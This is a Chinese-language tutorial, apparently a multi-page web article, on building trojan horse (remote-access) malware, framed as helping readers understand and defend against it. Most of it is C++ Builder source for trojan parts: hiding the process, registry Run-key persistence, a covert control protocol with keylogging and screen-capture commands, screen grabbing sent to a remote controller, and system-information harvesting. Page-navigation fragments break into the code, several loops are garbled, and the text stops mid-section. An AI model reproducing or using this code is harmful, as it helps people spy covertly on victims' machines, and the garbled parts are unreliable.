木马程序开发技术:病毒源代码详解

  1. 近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。

  2.   1、木马程序的分类
  3.   木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。
  4.   2.木马程序的隐藏技术
  5.   木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。
  6.   说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。
  7.   进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。
  8.   线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。
  9.   服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。
  10.   想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。
  11.   伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。
  12.   当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。
  13.   出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。
  14.   WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
  15.   {
  16.   try
  17.   {
  18.   DWORD dwVersion = GetVersion();//取得Windows的版本号
  19.   if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表
  20.   {
  21.    int (CALLBACK *rsp)(DWORD,DWORD);
  22.    HINSTANCE dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLL
  23.   rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess的入口
  24.   rsp(NULL,1);//注册服务
  25.   FreeLibrary(dll);//释放DLL模块
  26.   }
  27.   }
  28.   catch (Exception &exception)//处理异常事件
  29.   {
  30.   //处理异常事件
  31.   }
  32.   return 0;
  33.   } 
  34.   3、程序的自加载运行技术
  35.   让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序:
  36.   自装载部分:
  37.   HKEY hkey;
  38.   AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">//")+PName
  39.   unsigned long k;
  40.   k=REG_OPENED_EXISTING_KEY;
  41.   RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  42.   "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//",
  43.   0L,
  44.   NULL,
  45.   REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,
  46.   NULL,
  47.   &hkey,&k);
  48.   RegSetValueEx(hkey,
  49.   "BackGroup",
  50.   0,
  51.   REG_SZ,
  52.   NewProgramName.c_str(),
  53.   NewProgramName.Length());
  54.   RegCloseKey(hkey);
  55.   if (int(ShellExecute(Handle,
  56.   "open",
  57.   NewProgramName.c_str(),
  58.   NULL,
  59.   NULL,
  60.   SW_HIDE))>32)
  61.   {
  62.   WantClose=true;
  63.   Close();
  64.   }
  65.   else
  66.   {
  67.   HKEY hkey;
  68.   unsigned long k;
  69.   k=REG_OPENED_EXISTING_KEY;
  70.   long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  71.   "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",
  72.   0,
  73.   NULL,
  74.   REG_OPTION_NON_VOLATILE,
  75.   KEY_SET_VALUE,NULL,
  76.   &hkey,&k);
  77.   RegSetValueEx(hkey,
  78.   "BackGroup",
  79.   0,
  80.   REG_SZ,
  81.   ProgramName.c_str(),
  82.   ProgramName.Length());
  83.   int num=0;
  84.   char str[20];
  85.   DWORD lth=20;
  86.   DWORD type;
  87.   char strv[255];
  88.   DWORD vl=254;
  89.   DWORD Suc;
  90.   do{
  91.   Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
  92.   (DWORD)num,str,
  93.   NULL,
  94.   &type,
  95.   strv,&vl);
  96.   if (strcmp(str,"BGroup")==0)
  97.   {
  98.    DeleteFile(AnsiString(strv));
  99.    RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
  100.    break;
  101.   }
  102.   }while(Suc== ERROR_SUCCESS);
  103.   RegCloseKey(hkey);
  104.   }
  105.   自装载程序的卸载代码:
  106.   int num;
  107.   char str2[20];
  108.   DWORD lth=20;
  109.   DWORD type;
  110.   char strv[255];
  111.   DWORD vl=254;
  112.   DWORD Suc;
  113.   do{
  114.   Suc=RegEnumValue(HKEY_LOCAL_MACHINE,
  115.   (DWORD)num,
  116.   str,
  117.   NULL,
  118.   &type,
  119.   strv,
  120.   &vl);
  121.   if (strcmp(str,"BGroup")==0)
  122.   {
  123.   DeleteFile(AnsiString(strv));
  124.   RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");
  125.   break;
  126.   }
  127.   }while(Suc== ERROR_SUCCESS)
  128.   HKEY hkey;
  129.   unsigned long k;
  130.   k=REG_OPENED_EXISTING_KEY;
  131.   RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  132.   "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",
  133.   0,
  134.   NULL,
  135.   REG_OPTION_NON_VOLATILE,
  136.   KEY_SET_VALUE,NULL,
  137.   &hkey,
  138.   &k);
  139.   do{
  140.   Suc=RegEnumValue(hkey,(DWORD)num,str,if (strcmp(str,"BackGroup")==0)
  141.   {
  142.   DeleteFile(AnsiString(strv));
  143.   RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");
  144.   break;
  145.   }
  146.   }while(Suc== ERROR_SUCCESS)
  147.   RegCloseKey(hkey);
  148.   其中自装载部分使用C++ Builder可以这样写,会比较简化:
  149.   TRegistry & regKey = *new TRegistry();
  150.   regKey.RootKey=HKEY_LOCAL_MACHINE;
  151.   regKey.OpenKey("Software//Microsoft//Windows//CurrentVersion//Run",true);
  152.   if(!regKey.ValueExists("Interbase Server"))
  153.   {
  154.   regKey.WriteString("Interbase Server",
  155.   "D://Program Files//Borland//IntrBase//BIN//ibserver.exe");
  156.   }
  157.   regKey.CloseKey();
  158.   delete ®Key;
  159.  4、木马程序的建立连接的隐藏
  160.  
  161.   木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。
  162.   C:/Documents and Settings/bigball>netstat -n
  163.   Active Connections
  164.   Proto Local Address Foreign Address State
  165.   TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED
  166.   TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED
  167.   TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED
  168.   TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED
  169.   TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT
  170.   TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED
  171.   TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT
  172.   C:/Documents and Settings/bigball>netstat -a
  173.   Active Connections
  174.   Proto Local Address Foreign Address State
  175.   TCP Liumy:echo Liumy:0 LISTENING
  176.   TCP Liumy:discard Liumy:0 LISTENING
  177.   TCP Liumy:daytime Liumy:0 LISTENING
  178.   TCP Liumy:qotd Liumy:0 LISTENING
  179.   TCP Liumy:chargen Liumy:0 LISTENING
  180.   TCP Liumy:epmap Liumy:0 LISTENING
  181.   TCP Liumy:microsoft-ds Liumy:0 LISTENING
  182.   TCP Liumy:1025 Liumy:0 LISTENING
  183.   TCP Liumy:1026 Liumy:0 LISTENING
  184.   TCP Liumy:1031 Liumy:0 LISTENING
  185.   TCP Liumy:1032 Liumy:0 LISTENING
  186.   TCP Liumy:1112 Liumy:0 LISTENING
  187.   TCP Liumy:1135 Liumy:0 LISTENING
  188.   TCP Liumy:1142 Liumy:0 LISTENING
  189.   TCP Liumy:1801 Liumy:0 LISTENING
  190.   TCP Liumy:3372 Liumy:0 LISTENING
  191.   TCP Liumy:3389 Liumy:0 LISTENING
  192.   TCP Liumy:netbios-ssn Liumy:0 LISTENING
  193.   TCP Liumy:1028 Liumy:0 LISTENING
  194.   TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB
  195.   TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI
  196.   TCP Liumy:1135 202.130.239.223:http ESTABLISHED
  197.   TCP Liumy:1142 202.130.239.223:http ESTABLISHED
  198.   TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT
  199.   TCP Liumy:1170 202.130.239.133:http TIME_WAIT
  200.   TCP Liumy:2103 Liumy:0 LISTENING
  201.   TCP Liumy:2105 Liumy:0 LISTENING
  202.   TCP Liumy:2107 Liumy:0 LISTENING
  203.   UDP Liumy:echo *:*
  204.   UDP Liumy:discard *:*
  205.   UDP Liumy:daytime *:*
  206.   UDP Liumy:qotd *:*
  207.   UDP Liumy:chargen *:*
  208.   UDP Liumy:epmap *:*
  209.   UDP Liumy:snmp *:*
  210.   UDP Liumy:microsoft-ds *:*
  211.   UDP Liumy:1027 *:*
  212.   UDP Liumy:1029 *:*
  213.   UDP Liumy:3527 *:*
  214.   UDP Liumy:4000 *:*
  215.   UDP Liumy:4001 *:*
  216.   UDP Liumy:1033 *:*
  217.   UDP Liumy:1148 *:*
  218.   UDP Liumy:netbios-ns *:*
  219.   UDP Liumy:netbios-dgm *:*
  220.   UDP Liumy:isakmp *:*
  221.   但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:

  222. 按此在新窗口浏览图片
  223.    网络层次结构图
  224.   5、发送数据的组织方法
  225.   关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:
  226.   typedef struct{ //定义消息结构
  227.   //char ip[20];
  228.   char Type; //消息种类
  229.   char Password[20]; //密码
  230.   int CNum; //消息操作号
  231.   //int Length; //消息长度
  232.   }Msg;
  233.   #define MsgLen sizeof(Msg)
  234.   //-------------------------------------------
  235.   //对话框数据包定义:Dlg_Msg_Type.h
  236.   //-------------------------------------------
  237.   //定义如下消息类型:
  238.   #define MsgDlgCommon 4//连接事件
  239.   #define MsgDlgSend 5//发送完成事件
  240.   //消息结构
  241.   typedef struct{
  242.   char Name[20];//对话框标题
  243.   char Msg[256];//对话框消息内容
  244.   }MsgDlgUint;
  245.   #define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度
  246.   //------------------------------------------
  247.   //聊天数据包定义:Chat_Msg_Type.h
  248.   //------------------------------------------
  249.   //定义如下消息类型:
  250.   #define MsgChatCommon 0//连接事件
  251.   #define MsgChatConnect 1//接入事件
  252.   #define MsgChatEscept 2//结束事件
  253.   #define MsgChatReceived 16//确认对话内容收到
  254.   //消息结构
  255.   typedef struct{
  256.   char ClientName[20];//Client自定义的名称
  257.   char Msg[256];//发送的消息
  258.   }MsgChatUint;
  259.   #define MsgChatLen sizeof(MsgChatUint)//消息单元长度
  260.   //------------------------------------------
  261.   //重启数据包定义:Reboot_Msg_Type.h
  262.   //------------------------------------------
  263.   //定义如下消息类型:
  264.   #define MsgReBoot 15//重启事件
  265.   //------------------------------------------
  266.   //目录结构请求数据包定义:Dir_Msg_Type.h
  267.   //------------------------------------------
  268.   //定义如下消息类型:
  269.   #define MsgGetDirInfo 17
  270.   #define MsgReceiveGetDirInfo 18
  271.   typedef struct{
  272.   char Dir[4096];//你要的目录名
  273.   }MsgDirUint;
  274.   #define MsgDirUintLen sizeof(MsgDirUint)
  275.   // TCP的Msg
  276.   typedef struct{ //定义消息结构
  277.   char SType; //消息种类
  278.   char SPassword[20]; //密码
  279.   //int SNum; //消息操作号
  280.   char *AllMsg;
  281.   }SMsg;
  282.   #define SMsgLen sizeof(SMsg)
  283.   #define MSGListProgram 19
  284.   #define MSGFlyMouse 21
  285.   #define MSGGoWithMouse 22
  286.   #define MSGSaveKey 23
  287.   #define MSGTracekey 24
  288.   #define MsgCopyScreen 25//tcp接收消息,udp请求消息
  289.   #define MSGCopyWindow 26
  290.   //-------------------------
  291.   //鼠标指针隐藏和显示控制
  292.   //-------------------------
  293.   #define MsgSetMouseStat 27//设置消息
  294.   #define MsgMouseStat 28//成功消息
  295.   typedef struct{
  296.   bool mouseshow;
  297.   }MsgSetMouseStatUint;
  298.   #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)
  299.   
  300.   上一页 1 2 3 4 5 6 7 下一页
  301.   //-------------------------
  302.   //任务栏隐藏和显示控制
  303.   //-------------------------
  304.   #define MsgSetTaskBarStat 29//设置消息
  305.   #define MsgTaskBarStat 30//成功消息
  306.   typedef struct{
  307.   bool taskshow;
  308.   }MsgSetTaskBarStatUint;
  309.   #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)
  310.   //-------------------------
  311.   //得到机器名
  312.   //-------------------------
  313.   #define MsgGetNetBiosName 31//取请求
  314.   #define MsgNetBiosName 32//回送机器名
  315.   typedef struct{
  316.   char NetBiosName[128];
  317.   }MsgNetBiosNameUint;
  318.   #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)
  319.   //-------------------------
  320.   //关闭进程变更!
  321.   //-------------------------
  322.   #define MsgSetProgramClose 33//关闭请求
  323.   #define MsgProgramClosed 34//成功消息-----
  324.   typedef struct{
  325.   char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字
  326.   }MsgSetProgramCloseUint;
  327.   #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)
  328.   //-------------------------
  329.   //打开进程变更!
  330.   //-------------------------
  331.   #define MsgSetProgramOpen 20//打开请求
  332.   #define MsgProgramOpened 36//成功消息
  333.   typedef struct{
  334.   char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字
  335.   bool ProgramShow;//前台运行或后台运行程序(隐藏运行)
  336.   }MsgSetProgramOpenUint;
  337.   #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)
  338.   #define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)
  339.   上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。
  340.    数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:
  341.   Msg *msg=new Msg;
  342.   TMemoryStream *RData=new TMemoryStream;
  343.   NMUDP1->ReadStream(RData);
  344.   RData->Read(msg,sizeof(Msg));
  345.   UdpConnect *udpcon_nect=new UdpConnect;
  346.   NetBiosName *netbiosname=new NetBiosName;
  347.   if(msg->CNum==CNumBak)
  348.   return;
  349.   else{
  350.   CNumBak=msg->CNum;
  351.   switch(msg->Type)
  352.   {
  353.   case 0://MsgUdpConnect
  354.   RData->Read(udpconnect,sizeof(UdpConnect));
  355.   checkuser(udpconnect->IsRight);
  356.   break;
  357.   case 1:
  358.   RData->Read(netbiosname,sizeof(NetBiosName));
  359.   AnsiString jqm="机器名 ";
  360.   jqm+=(AnsiString)netbiosname->NetBiosName;
  361.   Memo2->Lines->Add(jqm);
  362.   break;
  363.   }
  364.   }
  365.   当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:
  366.   NMUDP1->RemoteHost=FromIP;
  367.   NMUDP1->RemotePort=Port;
  368.   TMemoryStream *RData=new TMemoryStream;
  369.   NMUDP1->ReadStream(RData);
  370.   Msg *msg=new Msg;
  371.   RData->Read(msg,sizeof(Msg));
  372.   if(msg->CNum==CNumBak)
  373.   return;
  374.   else
  375.   {
  376.   CNumBak=msg->CNum;
  377.   switch(msg->Type)
  378.   {
  379.   case 0:
  380.   checkuser(msg->Password);
  381.   break;
  382.   case 1:
  383.   GetNetBiosName();
  384.   break;
  385.   case 2:
  386.   CheckHard();
  387.   break;
  388.   }
  389.   }
  390.   此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:
  391.   #define MAXXCount 10 //屏幕X方向最多分割块数
  392.   #define MAXYCount 5 //... Y................
  393.   #define DestNum 1000 //每块的偏移检测点最大个数
  394.   COLORREF Colors[MAXXCount][MAXYCount][DestNum];
  395.   COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
  396.   TPoint Dests[DestNum];
  397.   int Sw;
  398.   int Sh;
  399.   int xCount;
  400.   int yCount;
  401.   int ItemWidth;
  402.   int ItemHeight;
  403.   int Dnum;
  404.   int Qlity;
  405.   //得到消息后执行:
  406.   //另外:接收到的数据包中分析出 Dnum ,Qlity
  407.   //Dnum:偏移观测点数量
  408.   //Qlity:图象要求质量
  409.   __fastcall TForm1::CopyScreen(int DNum,int Qlity){
  410.   ItemWidth=Sw/xCount;
  411.   ItemHeight=Sh/yCount;
  412.   Sw=Screen->Width;
  413.   Sh=Screen->Height;
  414.   xCount=(Sw>1000)?8:6;
  415.   yCount=(Sh>1000)?3:2;
  416.   for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
  417.   Dests[num1].y=random(ItemHeight);
  418.   }
  419.   CatchScreen(DNum,Qlity);
  420.   }
  421.   //收到刷屏消息后只执行:
  422.   CatchScreen(DNum,Qlity);
  423.   __fastcall TForm1::CatchScreen(int DNum,int Qlity){
  424.   //函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据
  425.   //DNum: 偏移量 Qlity:图象质量
  426.   HDC dc=GetDC(GetDesktopWindow());
  427.   Graphics::TBitmap *bm=new Graphics::TBitmap;
  428.   bm->Width=Sw;
  429.   bm->Height=Sh;
  430.   BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
  431.   int num1,num2,num3;
  432.   int nowx,nowy;
  433.   bool Change;
  434.   bool ItemChange[MAXXCount][MAXYCount];
  435.   for (num1=0;num1 nowx=ItemWidth*num1;
  436.   for (num2=0;num2 nowy=ItemHeight*num2;
  437.   Change=false;
  438.   for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
  439.   if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
  440.   BakColors[num1][num2][num3]=Colors[num1][num2][num3];
  441.   ItemChange[num1][num2]=true;
  442.   }
  443.   }
  444.   }
  445.   }
  446.   int CNum,MaxCNum;
  447.   int ChangedNum=0;
  448.   TRect *Rect;
  449.   int num4;
  450.   int MinSize=10000;
  451.   int m;
  452.   TRect MinRect;
  453.   Graphics::TBitmap *bt2=new Graphics::TBitmap;
  454.   TJPEGImage *j=new TJPEGImage;
  455.   //************************
  456.   j->Quality=Qlity;
  457.   //************************
  458.   CopyScreenUint CopyScreen;
  459.   CopyScreenItemUint CopyScreenItem;
  460.   TMemoryStream *ms=new TMemoryStream;
  461.   ms->Write(&TcpMsg,sizeof(TcpMsgUint));
  462.   ms->Write(&CopyScreen,sizeof(CopyScreenUint));
  463.   do{
  464.   for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
  465.   MaxCNum=0;
  466.   for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形
  467.   CNum=GetChangedNum(TRect(num1,num2,num3,num4));
  468.   if (CNum>MaxCNum) MaxCNum=CNum;
  469.   m=(num3-num1)*(num4-num2);
  470.   if (2*m-CNum MinSize=2*m-CNum;
  471.   MinRect=TRect(num1,num2,num3,num4);
  472.   }
  473.   }
  474.   }
  475.   TMemoryStream *ms;
  476.   BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
  477.   j->Assign(bt2);
  478.   j->SaveToStream(ms2);
  479.   CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
  480.   CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1
  481.   ms2->Position=0;
  482.   CopyScreenItem.Length=ms2->Size;
  483.   ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
  484.   ms->CopyFrom(ms2,ms2->Size);
  485.   ChangedNum++;
  486.   }while(MaxCNum>0);
  487.   TcpMsg.Type=MsgCopyScreen;
  488.   ms->Position=0;
  489.   TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
  490.   CopyScreen.Count=ChangedNum;
  491.   ms->Write(&TcpMsg,sizeof(TcpMsgUint));
  492.   ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
  493.   ms->Position=0;
  494.   sock->SendStream(ms);
  495.   }
  496. 6、目标机器情况的获取

     

      相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

      AnsiString cs;

      FILE *fp;

      fp=fopen("temp.had","w+");

      //TODO: Add your source code here

      //获得CPU型号

      SYSTEM_INFO systeminfo;

      GetSystemInfo (&systeminfo);

      cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      MEMORYSTATUS memory;

      memory.dwLength =sizeof(memory); //初始化

      GlobalMemoryStatus(&memory);

      cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      DWORD sector,byte,cluster,free;

      long int freespace,totalspace;

      UINT type;

      char name;

      //0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、

      //5—CD-ROM、6—内存虚拟盘

      char volname[255],filename[100];//buffer[512];

      DWORD sno,maxl,fileflag ;

      for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z

      type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型

      if(type==0){

      cs="未知类型磁盘:"+String(name)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      }

      else if(type==2){

      cs="可移动类型磁盘:"+String(name)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      }

      else if(type==3){

      cs="固定磁盘:"+String(name)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      }

      else if(type==4) {

      cs="网络映射磁盘:"+String(name)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      }

      else if (type==5){

      cs="光驱:"+String(name)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      }

      else if (type==6){

      cs="内存虚拟磁盘:"+String(name)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      }

       if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)){

      cs=String(name)+"盘卷标为:"+String(volname)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      cs=String(name)+"盘序号为:"+String(sno)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

      totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

      freespace=int(free)*byte*sector/1024/1024; //计算可用空间

      cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      }

      }

      int wavedevice,mididevice;

      WAVEOUTCAPS wavecap;

      MIDIOUTCAPS midicap;

      wavedevice=(int)waveOutGetNumDevs(); //波形设备信息

      mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息

      if (wavedevice!=0){

      waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

      cs="当前波形设备:"+String(wavecap.szPname)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      }

      if (mididevice!=0){

      midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

      cs="当前MIDI设备:"+String(midicap.szPname)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      }

      long double tcs;

      long double tc;

      long int bpp,cp;

      cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

      tcs=pow(2,bpp); //计算色彩的梯度数

      cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

      tc= pow(double(tcs),double(cp)); //计算色深

      AnsiString sss;

      sss=bpp;

      cs="当前色深为:"+sss+"/n";

      fwrite(cs.c_str(),cs.Length(),1,fp);

      fclose(fp);

      AnsiString FileName="temp.had";

      char *buf;

      TcpMsgUint Msg2;

      strcpy(Msg2.TPassword,Password);

      TMemoryStream *ms=new TMemoryStream;

      ms->Clear();

      if (!FileExists(FileName)) CheckHard();

      TFileStream *fs=new TFileStream(FileName,fmOpenRead);

      上一页 1 2 3

      buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

      fs->Read(buf,fs->Size);

      Msg2.Type=MsgGetHardWare;

      Msg2.Length=fs->Size;

      FileClose(fs->Handle);

      ms->Write(&Msg2,sizeof(TcpMsgUint));

      ms->Write(buf,Msg2.Length);

      ms->Position=0;

      delete []buf;

      try{

      sock->SendStream(ms);

      }

      catch(Exception&e) {

      }

      }

      上面一段程序,基本上把相关的系统信息都取到了。

      7、服务器端程序的包装与加密

      用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

